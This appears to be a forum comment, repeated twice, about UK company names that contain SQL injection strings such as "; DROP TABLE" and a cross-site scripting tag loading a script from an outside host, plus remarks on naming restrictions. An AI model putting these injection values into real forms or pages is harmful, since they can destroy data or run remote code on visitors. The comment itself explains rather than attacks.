Company 10542519 was named "; DROP TABLE "COMPANIES";-- LTD"
Company SC656788 is still named ROBERT'); DROP TABLE STUDENTS; LIMITED
Company 08768324 named DROP TABLE CONSULTANTS; LTD
And company 12956509 was named "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD (which you'll note works)
There have always been certain restrictions on company names [1] containing words like 'Police' or 'Financial Conduct Authority' and you can't even name your company 'Insurance' without the permission of insurance regulators. So this new rule isn't particularly onerous.
In fact, under existing legislation they could have added 'script src' and 'drop table' to an existing list of sensitive words that aren't allowed.
Company 10542519 was named "; DROP TABLE "COMPANIES";-- LTD"
Company SC656788 is still named ROBERT'); DROP TABLE STUDENTS; LIMITED
Company 08768324 named DROP TABLE CONSULTANTS; LTD
And company 12956509 was named "><SCRIPT SRC=HTTPS://MJT.XSS.HT></SCRIPT> LTD (which you'll note works)
There have always been certain restrictions on company names [1] containing words like 'Police' or 'Financial Conduct Authority' and you can't even name your company 'Insurance' without the permission of insurance regulators. So this new rule isn't particularly onerous.
In fact, under existing legislation they could have added 'script src' and 'drop table' to an existing list of sensitive words that aren't allowed.
[1] https://www.gov.uk/government/publications/incorporation-and...